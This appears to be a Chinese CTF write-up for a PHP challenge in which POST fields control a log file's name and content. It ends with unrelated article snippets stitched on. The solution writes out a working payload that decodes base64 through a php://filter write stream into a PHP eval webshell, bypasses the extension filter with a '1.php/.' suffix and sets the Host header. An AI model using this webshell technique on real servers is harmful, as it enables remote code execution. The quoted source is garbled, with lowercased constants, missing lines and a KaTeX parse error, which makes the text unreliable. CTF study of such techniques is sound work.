獲得原始碼:http://ip:port/?read-source=1
<?php
if(isset($_get['read-source']))
define('data_dir', dirname(__file__) . '/data/' . md5($_server['remote_addr']));
if(!is_dir(data_dir))
chdir(data_dir);
$domain = isset($_post['domain']) ? $_post['domain'] : '';
$log_name = isset($_post['log']) ? $_post['log'] : date('-y-m-d');
$command = sprintf("dig -t a -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ent_html401 | ent_quotes);
$log_name = $_server['server_name'] . $log_name;
if(!in_array(pathinfo($log_name, pathinfo_extension), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true))
echo $output;
解題思路:
原始碼分析,可知我們當前路徑是在/data/md5($_server['remote_addr'])
下。通過post我們可以傳入兩個引數:log
,log,
log,
domain,最終生成檔案。對katex parse error: expected 'eof', got '&' at position 113: …lchars(),將特殊字元(&̲,",',<,>)轉換為htm…output,作為檔案的內容。再對log
前添
加log前新增
log前新增
_server[『server_name』],再對其字尾名進行判斷,作為檔案的名字。
通過對原始碼的分析,我們應有如下思路:
有了escapeshellarg()和htmlspecialchars(),命令注入行不通了。
正道應該是通過可控引數檔名和檔案內容,傳入檔案實現rce
由於存在htmlspecialchars(),難以突破。通過base64編碼繞過,再通過偽協議解析檔案內容再寫入新檔案,最後再繞過字尾名,完事
do it:
控制檔名:
可知data_dir是/data/md5($_server['remote_addr'])
自己算一下可知是/data/580d83a45e88eb6b9e247cb5ee888fb1/
最後的檔名是:$log_name = $_server['server_name'] . $log_name;
其中$_server['server_name']
在本題是取request中host的值
過字尾名可以通過1.php/.
來繞過過濾
控制檔案內容:
由於要對檔案內容base64編碼,所以要保證在payload之前的字元數量是4的倍數。
然後對<?php @eval($_get['sh']);?>
進行base64編碼,發現結果會有等號,並且在之後上傳的過程中頁面為空白。可能是因為兩個過濾函式對符號的干擾,所以構建base64時需補齊構建出無符號字串。
通過偽協議上傳:
因為存在file_put_contents($log_name, $output)
,其第乙個引數可以傳入stream,即可以傳入偽協議
構建payload:
host:php
#php://filter/write 將$output解碼並寫入1.php
domain=pd9wahagq**2ywwojf9hrvrbj3mnxsk7pz5h&log=://filter/write=convert.base64-decode/resource=1.php/.
之後通過傳入sh引數即可獲得flag:flag
php檔案包含 偽協議 檔案上傳漏洞利用例項
1.上傳檔案過濾了字尾名和mime型別,files pic type 是由瀏覽器傳輸的檔案型別決定,但是mime content type 是由php 內建方法判斷檔案型別 2.任意檔案包含 f get f include once sys config.php include f 利用zip或ph...
php檔案目錄操作函式
1 建立目錄 mkdir bool mkdir string pathname int mode bool recursive resource context mkdir path to my dir 0777 成功返回true,失敗返回false 2 判斷檔案是否存在 file exist bo...
PHP之檔案操作函式
此文章可以讓初學php的小白對於檔案操作有一定的簡單了解。檔案操作函式 普通檔案 file get contents filename 獲取乙個檔案的內容或者乙個網路資源的內容 file put contents filename,data 把內容寫到檔案中,快捷函式,封裝了開啟關閉的細節 如果是比...